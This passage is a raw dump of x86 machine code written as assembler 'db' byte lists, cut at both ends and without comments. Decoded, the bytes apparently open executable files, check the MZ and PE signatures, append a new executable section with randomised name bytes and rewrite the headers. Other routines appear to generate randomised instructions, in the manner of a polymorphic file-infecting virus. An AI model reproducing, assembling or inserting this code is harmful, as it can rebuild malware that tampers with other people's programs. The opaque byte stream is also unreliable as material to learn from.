db 046h, 0c6h, 004h, 03eh, 065h, 080h, 064h, 03eh, 001h, 000h, 046h, 046h, 0ebh, 077h db 083h, 0f8h, 007h, 077h, 009h, 0c6h, 004h, 03eh, 0f7h, 046h, 004h, 020h, 0ebh, 065h db 08dh, 00ch, 03eh, 06ah, 0ffh, 051h, 08bh, 0deh, 0ffh, 075h, 014h, 050h, 06ah, 002h db 06ah, 003h, 0e8h, 006h, 0f1h, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 018h, 03bh, 0deh db 00fh, 084h, 093h, 000h, 000h, 000h, 0c6h, 004h, 03eh, 0f7h, 046h, 0c6h, 004h, 03eh db 022h, 0ebh, 029h, 08dh, 004h, 03eh, 06ah, 0ffh, 050h, 08bh, 0deh, 0ffh, 075h, 014h db 0ffh, 075h, 010h, 06ah, 002h, 06ah, 003h, 0e8h, 0d7h, 0f0h, 0ffh, 0ffh, 003h, 0f0h db 083h, 0c4h, 018h, 03bh, 0deh, 074h, 068h, 0c6h, 004h, 03eh, 0f7h, 046h, 0c6h, 004h db 03eh, 0e2h, 046h, 033h, 0c9h, 0ebh, 00eh, 08ah, 045h, 010h, 0c6h, 004h, 03eh, 0f7h db 046h, 02ch, 020h, 088h, 004h, 03eh, 046h, 039h, 04dh, 008h, 08bh, 0deh, 074h, 029h db 083h, 07dh, 008h, 001h, 074h, 023h, 083h, 07dh, 008h, 003h, 074h, 01dh, 08dh, 004h db 03eh, 06ah, 0ffh, 050h, 0ffh, 075h, 014h, 051h, 0ffh, 075h, 00ch, 06ah, 002h, 0e8h db 08bh, 0f0h, 0ffh, 0ffh, 083h, 0c4h, 018h, 003h, 0f0h, 033h, 0c9h, 0ebh, 018h, 039h db 04dh, 00ch, 074h, 010h, 08dh, 004h, 03eh, 06ah, 0ffh, 050h, 0ffh, 075h, 014h, 051h db 0ffh, 075h, 00ch, 051h, 0ebh, 0ddh, 083h, 0cbh, 0ffh, 03bh, 0deh, 075h, 004h, 033h db 0c0h, 0ebh, 021h, 039h, 04dh, 018h, 074h, 00bh, 083h, 07dh, 00ch, 002h, 074h, 005h db 0c6h, 004h, 03eh, 05ah, 046h, 039h, 04dh, 0fch, 074h, 00ah, 039h, 04dh, 00ch, 074h db 005h, 0c6h, 004h, 03eh, 058h, 046h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h db 08bh, 0ech, 083h, 07dh, 010h, 000h, 053h, 08bh, 05dh, 008h, 056h, 057h, 074h, 01fh db 083h, 07dh, 010h, 003h, 074h, 019h, 083h, 07dh, 010h, 001h, 074h, 013h, 08bh, 07dh db 01ch, 06ah, 0f1h, 057h, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 00ch, 06ah db 004h, 0ebh, 011h, 08bh, 07dh, 01ch, 06ah, 0f1h, 057h, 0ffh, 075h, 018h, 0ffh, 075h db 014h, 0ffh, 075h, 00ch, 06ah, 003h, 0e8h, 0f8h, 0efh, 0ffh, 0ffh, 08bh, 0f0h, 083h db 0c4h, 018h, 085h, 0f6h, 00fh, 084h, 0c8h, 000h, 000h, 000h, 089h, 075h, 014h, 085h db 0dbh, 074h, 06fh, 083h, 07bh, 01ch, 000h, 074h, 03dh, 08ah, 045h, 00ch, 004h, 032h db 088h, 004h, 03eh, 046h, 089h, 075h, 01ch, 08dh, 004h, 03eh, 050h, 0ffh, 075h, 018h db 0ffh, 073h, 024h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 073h, 020h, 0e8h, 07eh db 0ffh, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 018h, 039h, 075h, 01ch, 00fh, 084h, 089h db 000h, 000h, 000h, 08ah, 045h, 00ch, 004h, 03ah, 088h, 004h, 03eh, 046h, 0ebh, 028h db 0ffh, 073h, 018h, 08dh, 004h, 03eh, 089h, 075h, 01ch, 050h, 0ffh, 073h, 014h, 0ffh db 073h, 010h, 0ffh, 073h, 00ch, 0ffh, 073h, 008h, 0ffh, 073h, 004h, 0e8h, 057h, 0edh db 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 01ch, 039h, 075h, 01ch, 074h, 056h, 08bh, 01bh db 0ebh, 08dh, 083h, 07dh, 010h, 000h, 074h, 050h, 083h, 07dh, 010h, 003h, 074h, 04ah db 083h, 07dh, 010h, 001h, 074h, 044h, 08dh, 004h, 03eh, 06ah, 0f1h, 050h, 08bh, 0deh db 0ffh, 075h, 018h, 06ah, 001h, 0ffh, 075h, 00ch, 06ah, 004h, 0e8h, 044h, 0f7h, 0ffh db 0ffh, 003h, 0f0h, 083h, 0c4h, 018h, 03bh, 0f3h, 074h, 020h, 08dh, 004h, 03eh, 06ah db 0f1h, 050h, 08bh, 0deh, 0ffh, 075h, 018h, 06ah, 000h, 0ffh, 075h, 00ch, 06ah, 004h db 0e8h, 030h, 0fbh, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 018h, 03bh, 0f3h, 075h, 038h db 033h, 0c0h, 0ebh, 04bh, 08dh, 004h, 03eh, 06ah, 0f1h, 050h, 08bh, 0deh, 0ffh, 075h db 018h, 06ah, 001h, 0ffh, 075h, 00ch, 06ah, 003h, 0e8h, 000h, 0f7h, 0ffh, 0ffh, 003h db 0f0h, 083h, 0c4h, 018h, 03bh, 0f3h, 074h, 0dch, 08dh, 004h, 03eh, 06ah, 0f1h, 050h db 08bh, 0deh, 0ffh, 075h, 018h, 06ah, 000h, 0ffh, 075h, 00ch, 06ah, 003h, 0ebh, 0bah db 08bh, 045h, 014h, 003h, 0feh, 02bh, 0c6h, 0c6h, 007h, 00fh, 083h, 0e8h, 006h, 0c6h db 047h, 001h, 085h, 089h, 047h, 002h, 08dh, 046h, 006h, 05fh, 05eh, 05bh, 05dh, 0c3h db 056h, 08bh, 074h, 024h, 008h, 085h, 0f6h, 074h, 020h, 08bh, 006h, 085h, 0c0h, 074h db 006h, 08bh, 0f0h, 085h, 0f6h, 075h, 0f4h, 085h, 0f6h, 074h, 010h, 06ah, 001h, 06ah db 028h, 0ffh, 015h, 0d4h, 050h, 000h, 000h, 059h, 089h, 006h, 059h, 0ebh, 00ch, 06ah db 001h, 06ah, 028h, 0ffh, 015h, 0d4h, 050h, 000h, 000h, 059h, 059h, 085h, 0c0h, 05eh db 074h, 03eh, 08bh, 04ch, 024h, 008h, 08bh, 051h, 014h, 089h, 050h, 014h, 08bh, 051h db 018h, 083h, 020h, 000h, 089h, 050h, 018h, 08bh, 051h, 00ch, 089h, 050h, 00ch, 08bh db 051h, 010h, 089h, 050h, 010h, 08bh, 051h, 004h, 089h, 050h, 004h, 08bh, 051h, 008h db 089h, 050h, 008h, 08bh, 051h, 020h, 089h, 050h, 020h, 08bh, 051h, 01ch, 089h, 050h db 01ch, 08bh, 049h, 024h, 089h, 048h, 024h, 0c3h, 033h, 0c0h, 0c3h, 056h, 08bh, 074h db 024h, 008h, 085h, 0f6h, 074h, 00eh, 08bh, 0c6h, 08bh, 036h, 050h, 0ffh, 015h, 0d8h db 050h, 000h, 000h, 059h, 0ebh, 0eeh, 05eh, 0c3h, 055h, 08bh, 0ech, 08bh, 045h, 00ch db 083h, 0f8h, 007h, 077h, 03fh, 0ffh, 024h, 085h, 047h, 02eh, 000h, 000h, 08bh, 045h db 008h, 024h, 0feh, 05dh, 0c3h, 08bh, 045h, 008h, 024h, 0f7h, 05dh, 0c3h, 08bh, 045h db 008h, 024h, 0fdh, 05dh, 0c3h, 08bh, 045h, 008h, 024h, 0fbh, 05dh, 0c3h, 08bh, 045h db 008h, 024h, 0dfh, 05dh, 0c3h, 08bh, 045h, 008h, 024h, 0efh, 05dh, 0c3h, 08bh, 045h db 008h, 024h, 0bfh, 05dh, 0c3h, 08bh, 045h, 008h, 024h, 07fh, 05dh, 0c3h, 08bh, 045h db 008h, 05dh, 0c3h, 00ah, 02eh, 000h, 000h, 018h, 02eh, 000h, 000h, 01fh, 02eh, 000h db 000h, 011h, 02eh, 000h, 000h, 02dh, 02eh, 000h, 000h, 026h, 02eh, 000h, 000h, 034h db 02eh, 000h, 000h, 03bh, 02eh, 000h, 000h, 08bh, 04ch, 024h, 004h, 08bh, 001h, 0a8h db 001h, 075h, 007h, 00ch, 001h, 089h, 001h, 033h, 0c0h, 0c3h, 0a8h, 008h, 075h, 008h db 00ch, 008h, 06ah, 003h, 089h, 001h, 0ebh, 046h, 0a8h, 002h, 075h, 008h, 00ch, 002h db 06ah, 001h, 089h, 001h, 0ebh, 03ah, 0a8h, 004h, 075h, 008h, 00ch, 004h, 06ah, 002h db 089h, 001h, 0ebh, 02eh, 0a8h, 020h, 075h, 008h, 00ch, 020h, 06ah, 005h, 089h, 001h db 0ebh, 022h, 0a8h, 010h, 075h, 008h, 00ch, 010h, 06ah, 004h, 089h, 001h, 0ebh, 016h db 0a8h, 040h, 075h, 008h, 00ch, 040h, 06ah, 006h, 089h, 001h, 0ebh, 00ah, 0a8h, 080h db 075h, 008h, 00ch, 080h, 06ah, 007h, 089h, 001h, 058h, 0c3h, 083h, 0c8h, 0ffh, 0c3h db 08bh, 044h, 024h, 004h, 083h, 0f8h, 007h, 077h, 029h, 0ffh, 024h, 085h, 005h, 02fh db 000h, 000h, 06ah, 001h, 0ebh, 016h, 06ah, 008h, 0ebh, 012h, 06ah, 002h, 0ebh, 00eh db 06ah, 004h, 0ebh, 00ah, 06ah, 020h, 0ebh, 006h, 06ah, 010h, 0ebh, 002h, 06ah, 040h db 058h, 0c3h, 0b8h, 080h, 000h, 000h, 000h, 0c3h, 033h, 0c0h, 0c3h, 0e0h, 02eh, 000h db 000h, 0e8h, 02eh, 000h, 000h, 0ech, 02eh, 000h, 000h, 0e4h, 02eh, 000h, 000h, 0f4h db 02eh, 000h, 000h, 0f0h, 02eh, 000h, 000h, 0f8h, 02eh, 000h, 000h, 0fch, 02eh, 000h db 000h, 055h, 08bh, 0ech, 083h, 0ech, 038h, 081h, 07dh, 00ch, 000h, 050h, 000h, 000h db 053h, 056h, 057h, 00fh, 082h, 0b2h, 000h, 000h, 000h, 033h, 0dbh, 06ah, 007h, 053h db 0e8h, 0a1h, 01dh, 000h, 000h, 059h, 089h, 045h, 0f8h, 059h, 06ah, 004h, 05eh, 03bh db 0c6h, 075h, 00fh, 06ah, 007h, 053h, 0e8h, 08dh, 01dh, 000h, 000h, 059h, 089h, 045h db 0f8h, 059h, 0ebh, 0edh, 06ah, 007h, 053h, 0e8h, 07eh, 01dh, 000h, 000h, 03bh, 045h db 0f8h, 059h, 059h, 089h, 045h, 0fch, 074h, 0eeh, 03bh, 0c6h, 074h, 0eah, 050h, 0e8h db 054h, 0ffh, 0ffh, 0ffh, 0ffh, 075h, 0f8h, 08bh, 0f8h, 0e8h, 04ah, 0ffh, 0ffh, 0ffh db 056h, 00bh, 0f8h, 0e8h, 042h, 0ffh, 0ffh, 0ffh, 00bh, 0f8h, 08bh, 045h, 00ch, 0d1h db 0e8h, 048h, 050h, 053h, 0e8h, 0fbh, 01ch, 000h, 000h, 050h, 089h, 045h, 0f0h, 0ffh db 075h, 008h, 056h, 053h, 053h, 053h, 06ah, 007h, 0e8h, 058h, 0eah, 0ffh, 0ffh, 08bh db 0f0h, 083h, 0c4h, 030h, 03bh, 0f3h, 074h, 035h, 08bh, 045h, 00ch, 06ah, 003h, 02bh db 045h, 0f0h, 033h, 0d2h, 059h, 089h, 075h, 0f4h, 0f7h, 0f1h, 083h, 0c0h, 0a6h, 089h db 045h, 00ch, 050h, 08bh, 045h, 008h, 003h, 0c6h, 050h, 057h, 0ffh, 075h, 010h, 0ffh db 075h, 0fch, 051h, 053h, 0e8h, 024h, 0eah, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 01ch db 039h, 075h, 0f4h, 075h, 007h, 033h, 0c0h, 0e9h, 0e6h, 000h, 000h, 000h, 08bh, 045h db 00ch, 089h, 07dh, 0dch, 089h, 045h, 0e0h, 08bh, 045h, 0fch, 089h, 045h, 0d4h, 08bh db 045h, 018h, 089h, 045h, 0d8h, 08dh, 045h, 0c8h, 050h, 053h, 0c7h, 045h, 0cch, 005h db 000h, 000h, 000h, 0c7h, 045h, 0d0h, 004h, 000h, 000h, 000h, 089h, 05dh, 0e8h, 089h db 05dh, 0e4h, 089h, 05dh, 0ech, 0e8h, 03ah, 0fdh, 0ffh, 0ffh, 08bh, 04dh, 00ch, 089h db 045h, 018h, 089h, 04dh, 0e0h, 08bh, 04dh, 0fch, 089h, 04dh, 0d4h, 08dh, 04dh, 0c8h db 051h, 050h, 089h, 07dh, 0dch, 0c7h, 045h, 0d8h, 004h, 000h, 000h, 000h, 0c7h, 045h db 0cch, 001h, 000h, 000h, 000h, 0c7h, 045h, 0d0h, 003h, 000h, 000h, 000h, 089h, 05dh db 0e8h, 089h, 05dh, 0e4h, 089h, 05dh, 0ech, 0e8h, 000h, 0fdh, 0ffh, 0ffh, 08bh, 045h db 008h, 083h, 0c4h, 010h, 003h, 0c6h, 089h, 075h, 0f4h, 050h, 0ffh, 075h, 0fch, 0e8h db 058h, 0feh, 0ffh, 0ffh, 059h, 050h, 08bh, 045h, 014h, 0c1h, 0e8h, 002h, 040h, 050h db 06ah, 003h, 0ffh, 075h, 0f8h, 0ffh, 075h, 018h, 0e8h, 068h, 0fbh, 0ffh, 0ffh, 003h db 0f0h, 083h, 0c4h, 018h, 039h, 075h, 0f4h, 074h, 036h, 08bh, 045h, 008h, 06ah, 0ffh db 003h, 0c6h, 089h, 075h, 0f4h, 050h, 057h, 0ffh, 075h, 010h, 0ffh, 075h, 0f8h, 06ah db 003h, 053h, 0e8h, 054h, 0e9h, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 01ch, 039h, 075h db 0f4h, 074h, 012h, 08bh, 04dh, 008h, 08ah, 045h, 0f8h, 003h, 0f1h, 08bh, 0d9h, 080h db 00eh, 0ffh, 02ch, 020h, 088h, 046h, 001h, 0ffh, 075h, 018h, 0e8h, 008h, 0fdh, 0ffh db 0ffh, 059h, 08bh, 0c3h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 056h, 057h, 068h, 074h, 014h db 000h, 000h, 0ffh, 074h, 024h, 010h, 0ffh, 015h, 09ch, 050h, 000h, 000h, 08bh, 0f8h db 059h, 085h, 0ffh, 059h, 00fh, 084h, 08ch, 000h, 000h, 000h, 06ah, 000h, 06ah, 000h db 057h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 083h, 0c4h, 00ch, 085h, 0c0h, 075h, 072h db 08bh, 074h, 024h, 010h, 057h, 06ah, 001h, 06ah, 040h, 056h, 0ffh, 015h, 0a4h, 050h db 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 074h, 05bh, 06ah, 000h, 0ffh, 076h, 03ch db 057h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 083h, 0c4h, 00ch, 085h, 0c0h, 075h, 048h db 057h, 06ah, 001h, 08dh, 046h, 040h, 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h db 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 074h, 02fh, 00fh, 0b7h, 046h db 046h, 057h, 06ah, 001h, 08dh, 004h, 080h, 081h, 0c6h, 038h, 001h, 000h, 000h, 0c1h db 0e0h, 003h, 050h, 056h, 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 085h db 0c0h, 074h, 00dh, 057h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 06ah, 001h, 058h db 0ebh, 00ah, 057h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 033h, 0c0h, 05fh, 05eh db 0c3h, 055h, 08bh, 0ech, 083h, 0ech, 040h, 053h, 056h, 068h, 078h, 014h, 000h, 000h db 033h, 0dbh, 0ffh, 075h, 008h, 0ffh, 015h, 09ch, 050h, 000h, 000h, 08bh, 0f0h, 059h db 085h, 0f6h, 059h, 074h, 05eh, 056h, 06ah, 040h, 08dh, 045h, 0c0h, 06ah, 001h, 050h db 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 083h, 0f8h, 040h, 075h, 03fh db 066h, 081h, 07dh, 0c0h, 05ah, 04dh, 074h, 008h, 066h, 081h, 07dh, 0c0h, 04dh, 05ah db 075h, 02fh, 06ah, 000h, 0ffh, 075h, 0fch, 056h, 0ffh, 015h, 0ach, 050h, 000h, 000h db 056h, 06ah, 040h, 08dh, 045h, 0c0h, 06ah, 001h, 050h, 0ffh, 015h, 0a4h, 050h, 000h db 000h, 083h, 0c4h, 01ch, 083h, 0f8h, 040h, 075h, 00ch, 081h, 07dh, 0c0h, 050h, 045h db 000h, 000h, 075h, 003h, 08bh, 05dh, 0e8h, 056h, 0ffh, 015h, 0a0h, 050h, 000h, 000h db 059h, 08bh, 0c3h, 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh, 0ech, 08bh, 04dh, 008h, 056h db 033h, 0c0h, 08bh, 0b1h, 04ch, 001h, 000h, 000h, 08dh, 091h, 048h, 001h, 000h, 000h db 003h, 032h, 039h, 075h, 00ch, 072h, 00ah, 090h, 08bh, 072h, 02ch, 040h, 083h, 0c2h db 028h, 0ebh, 0efh, 08dh, 004h, 080h, 05eh, 08dh, 014h, 0c1h, 08bh, 084h, 0c1h, 044h db 001h, 000h, 000h, 02bh, 082h, 04ch, 001h, 000h, 000h, 003h, 041h, 074h, 003h, 045h db 00ch, 05dh, 0c3h, 055h, 08bh, 0ech, 08bh, 045h, 008h, 056h, 033h, 0c9h, 08bh, 0b0h db 04ch, 001h, 000h, 000h, 08dh, 090h, 048h, 001h, 000h, 000h, 003h, 032h, 039h, 075h db 00ch, 072h, 00ah, 090h, 08bh, 072h, 02ch, 041h, 083h, 0c2h, 028h, 0ebh, 0efh, 08dh db 00ch, 089h, 05eh, 08dh, 00ch, 0c8h, 08bh, 081h, 044h, 001h, 000h, 000h, 02bh, 081h db 04ch, 001h, 000h, 000h, 003h, 045h, 00ch, 05dh, 0c3h, 055h, 08bh, 0ech, 08bh, 045h db 008h, 056h, 033h, 0c9h, 08bh, 0b0h, 048h, 001h, 000h, 000h, 08dh, 090h, 044h, 001h db 000h, 000h, 003h, 032h, 039h, 075h, 00ch, 072h, 00ah, 090h, 08bh, 072h, 02ch, 041h db 083h, 0c2h, 028h, 0ebh, 0efh, 08dh, 00ch, 089h, 05eh, 08dh, 00ch, 0c8h, 08bh, 081h db 04ch, 001h, 000h, 000h, 02bh, 081h, 044h, 001h, 000h, 000h, 003h, 045h, 00ch, 05dh db 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 008h, 010h, 000h, 000h, 053h, 033h, 0dbh, 039h db 05dh, 008h, 056h, 057h, 089h, 05dh, 0fch, 00fh, 084h, 099h, 002h, 000h, 000h, 068h db 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 09ch, 050h, 000h, 000h, 08bh db 0f8h, 059h, 03bh, 0fbh, 059h, 089h, 07dh, 008h, 00fh, 084h, 07ch, 002h, 000h, 000h db 057h, 06ah, 001h, 08dh, 085h, 0f8h, 0efh, 0ffh, 0ffh, 06ah, 040h, 050h, 0ffh, 015h db 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 00fh, 084h, 057h, 002h, 000h db 000h, 080h, 0bdh, 0f8h, 0efh, 0ffh, 0ffh, 04dh, 075h, 009h, 080h, 0bdh, 0f9h, 0efh db 0ffh, 0ffh, 05ah, 074h, 01ah, 080h, 0bdh, 0f9h, 0efh, 0ffh, 0ffh, 04dh, 00fh, 085h db 038h, 002h, 000h, 000h, 080h, 0bdh, 0f8h, 0efh, 0ffh, 0ffh, 05ah, 00fh, 085h, 02bh db 002h, 000h, 000h, 08bh, 085h, 034h, 0f0h, 0ffh, 0ffh, 053h, 050h, 057h, 089h, 045h db 0f8h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 057h, 06ah, 001h, 08dh, 085h, 0f8h, 0efh db 0ffh, 0ffh, 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h, 0a4h, 050h, 000h, 000h db 083h, 0c4h, 01ch, 085h, 0c0h, 00fh, 084h, 0f9h, 001h, 000h, 000h, 081h, 0bdh, 0f8h db 0efh, 0ffh, 0ffh, 050h, 045h, 000h, 000h, 00fh, 085h, 0e9h, 001h, 000h, 000h, 00fh db 0b7h, 0b5h, 0feh, 0efh, 0ffh, 0ffh, 083h, 0feh, 032h, 00fh, 083h, 0d9h, 001h, 000h db 000h, 057h, 056h, 08dh, 085h, 0f8h, 0f7h, 0ffh, 0ffh, 06ah, 028h, 050h, 0ffh, 015h db 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 03bh, 0f0h, 00fh, 085h, 0bdh, 001h, 000h db 000h, 057h, 0ffh, 015h, 0b4h, 050h, 000h, 000h, 059h, 08bh, 08dh, 00ch, 0f8h, 0ffh db 0ffh, 02bh, 0c8h, 083h, 0f9h, 028h, 00fh, 082h, 0a4h, 001h, 000h, 000h, 06ah, 008h db 06ah, 001h, 0e8h, 007h, 019h, 000h, 000h, 08dh, 034h, 0b6h, 059h, 0c1h, 0e6h, 003h db 059h, 089h, 045h, 0fch, 08dh, 00ch, 006h, 080h, 0a4h, 00dh, 0f8h, 0f7h, 0ffh, 0ffh db 000h, 03bh, 0c3h, 074h, 017h, 08dh, 09ch, 035h, 0f7h, 0f7h, 0ffh, 0ffh, 0e8h, 025h db 019h, 000h, 000h, 08bh, 04dh, 0fch, 0ffh, 04dh, 0fch, 088h, 004h, 00bh, 075h, 0f0h db 08bh, 085h, 034h, 0f0h, 0ffh, 0ffh, 08bh, 04dh, 00ch, 057h, 08dh, 05ch, 008h, 0ffh db 048h, 0f7h, 0d0h, 023h, 0d8h, 0ffh, 015h, 0b4h, 050h, 000h, 000h, 06ah, 002h, 06ah db 000h, 057h, 089h, 045h, 0f0h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 057h, 0ffh, 015h db 0b4h, 050h, 000h, 000h, 08bh, 08dh, 034h, 0f0h, 0ffh, 0ffh, 06ah, 000h, 08dh, 07ch db 001h, 0ffh, 049h, 0f7h, 0d1h, 023h, 0f9h, 057h, 0ffh, 075h, 008h, 0ffh, 015h, 0ach db 050h, 000h, 000h, 08dh, 084h, 035h, 00ch, 0f8h, 0ffh, 0ffh, 06ah, 000h, 089h, 045h db 0f4h, 089h, 038h, 08dh, 044h, 03bh, 0ffh, 050h, 0ffh, 075h, 008h, 0ffh, 015h, 0ach db 050h, 000h, 000h, 0ffh, 075h, 008h, 08dh, 045h, 0fch, 033h, 0ffh, 06ah, 001h, 06ah db 001h, 050h, 089h, 07dh, 0fch, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 08bh, 045h, 00ch db 089h, 09ch, 035h, 008h, 0f8h, 0ffh, 0ffh, 066h, 089h, 0bch, 035h, 018h, 0f8h, 0ffh db 0ffh, 066h, 089h, 0bch, 035h, 01ah, 0f8h, 0ffh, 0ffh, 089h, 0bch, 035h, 010h, 0f8h db 0ffh, 0ffh, 089h, 0bch, 035h, 014h, 0f8h, 0ffh, 0ffh, 08dh, 09ch, 035h, 000h, 0f8h db 0ffh, 0ffh, 08dh, 0bch, 035h, 004h, 0f8h, 0ffh, 0ffh, 083h, 0c4h, 03ch, 089h, 003h db 08bh, 04fh, 0d8h, 003h, 04bh, 0d8h, 08bh, 085h, 030h, 0f0h, 0ffh, 0ffh, 08dh, 04ch db 001h, 0ffh, 048h, 0f7h, 0d0h, 023h, 0c8h, 083h, 07dh, 010h, 002h, 089h, 00fh, 075h db 00dh, 0c7h, 084h, 035h, 01ch, 0f8h, 0ffh, 0ffh, 020h, 000h, 000h, 060h, 0ebh, 01eh db 083h, 07dh, 010h, 001h, 075h, 00dh, 0c7h, 084h, 035h, 01ch, 0f8h, 0ffh, 0ffh, 040h db 000h, 000h, 0c0h, 0ebh, 00bh, 0c7h, 084h, 035h, 01ch, 0f8h, 0ffh, 0ffh, 040h, 000h db 000h, 0e0h, 06ah, 000h, 0ffh, 075h, 0f0h, 0ffh, 075h, 008h, 0ffh, 015h, 0ach, 050h db 000h, 000h, 0ffh, 075h, 008h, 08dh, 084h, 035h, 0f8h, 0f7h, 0ffh, 0ffh, 06ah, 001h db 06ah, 028h, 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 06ah, 000h, 0ffh, 075h, 0f8h db 0ffh, 075h, 008h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 08bh, 003h, 0ffh, 075h, 008h db 003h, 007h, 066h, 0ffh, 085h, 0feh, 0efh, 0ffh, 0ffh, 06ah, 001h, 068h, 0f8h, 000h db 000h, 000h, 089h, 085h, 048h, 0f0h, 0ffh, 0ffh, 08dh, 085h, 0f8h, 0efh, 0ffh, 0ffh db 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 0a0h, 050h db 000h, 000h, 08bh, 045h, 0f4h, 083h, 0c4h, 03ch, 08bh, 000h, 0ebh, 00ah, 057h, 0ffh db 015h, 0a0h, 050h, 000h, 000h, 059h, 033h, 0c0h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 056h db 08bh, 074h, 024h, 010h, 085h, 0f6h, 076h, 013h, 08bh, 04ch, 024h, 008h, 08bh, 044h db 024h, 00ch, 02bh, 0c1h, 08ah, 014h, 008h, 088h, 011h, 041h, 04eh, 075h, 0f7h, 05eh db 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 050h, 001h, 000h, 000h, 053h, 056h, 057h, 068h db 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 09ch, 050h, 000h, 000h, 08bh db 0f8h, 033h, 0f6h, 059h, 03bh, 0feh, 059h, 089h, 07dh, 008h, 00fh, 084h, 050h, 002h db 000h, 000h, 057h, 06ah, 001h, 08dh, 045h, 0a8h, 06ah, 040h, 050h, 0ffh, 015h, 0a4h db 050h, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 00fh, 084h, 0a5h, 002h, 000h, 000h db 056h, 0ffh, 075h, 0e4h, 057h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 057h, 06ah, 001h db 08dh, 085h, 0b0h, 0feh, 0ffh, 0ffh, 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h db 0a4h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 00fh, 084h, 07ah, 002h, 000h db 000h, 00fh, 0b7h, 0bdh, 0b6h, 0feh, 0ffh, 0ffh, 089h, 07dh, 0f0h, 08dh, 01ch, 0bfh db 0c1h, 0e3h, 003h, 053h, 06ah, 001h, 089h, 05dh, 0e8h, 0ffh, 015h, 0d4h, 050h, 000h db 000h, 08bh, 0f0h, 059h, 085h, 0f6h, 059h, 00fh, 084h, 052h, 002h, 000h, 000h, 0ffh db 075h, 008h, 0ffh, 015h, 0b4h, 050h, 000h, 000h, 0ffh, 075h, 008h, 089h, 045h, 0ech db 057h, 06ah, 028h, 056h, 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 014h, 03bh db 0c7h, 074h, 017h, 0ffh, 075h, 008h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 056h, 0ffh db 015h, 0d8h, 050h, 000h, 000h, 059h, 059h, 0e9h, 0ach, 001h, 000h, 000h, 08bh, 07ch db 033h, 0e4h, 003h, 07ch, 033h, 0e8h, 02bh, 07eh, 00ch, 057h, 06ah, 001h, 0ffh, 015h db 0d4h, 050h, 000h, 000h, 059h, 089h, 045h, 0fch, 085h, 0c0h, 059h, 074h, 0cch, 083h db 065h, 0f4h, 000h, 083h, 07dh, 0f0h, 000h, 076h, 050h, 08dh, 046h, 014h, 089h, 045h db 0f8h, 0ebh, 003h, 08bh, 045h, 0f8h, 08bh, 058h, 0f8h, 06ah, 000h, 0ffh, 030h, 02bh db 05eh, 00ch, 0ffh, 075h, 008h, 003h, 05dh, 0fch, 0ffh, 015h, 0ach, 050h, 000h, 000h db 0ffh, 075h, 008h, 08bh, 045h, 0f8h, 06ah, 001h, 0ffh, 070h, 0fch, 053h, 0ffh, 015h db 0a4h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 00fh, 084h, 02bh, 001h, 000h db 000h, 0ffh, 045h, 0f4h, 083h, 045h, 0f8h, 028h, 08bh, 045h, 0f4h, 03bh, 045h, 0f0h db 072h, 0bbh, 08bh, 05dh, 0e8h, 06ah, 000h, 0ffh, 076h, 014h, 0ffh, 075h, 008h, 0ffh db 015h, 0ach, 050h, 000h, 000h, 0ffh, 075h, 008h, 06ah, 001h, 057h, 0ffh, 075h, 0fch db 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 00fh, 084h, 0f1h db 000h, 000h, 000h, 080h, 04eh, 027h, 0e0h, 0e8h, 0fdh, 014h, 000h, 000h, 0a8h, 001h db 074h, 004h, 083h, 04eh, 024h, 020h, 0e8h, 0f0h, 014h, 000h, 000h, 0a8h, 001h, 074h db 004h, 083h, 04eh, 024h, 040h, 0e8h, 0e3h, 014h, 000h, 000h, 0a8h, 001h, 074h, 004h db 080h, 04eh, 024h, 080h, 089h, 07eh, 010h, 089h, 07eh, 008h, 0e8h, 0d0h, 014h, 000h db 000h, 0a8h, 001h, 00fh, 084h, 084h, 000h, 000h, 000h, 0e8h, 0c3h, 014h, 000h, 000h db 0f6h, 0d0h, 024h, 001h, 0c0h, 0e0h, 005h, 00ch, 05ah, 088h, 006h, 0e8h, 0b3h, 014h db 000h, 000h, 0f6h, 0d0h, 024h, 001h, 0c0h, 0e0h, 005h, 00ch, 045h, 088h, 046h, 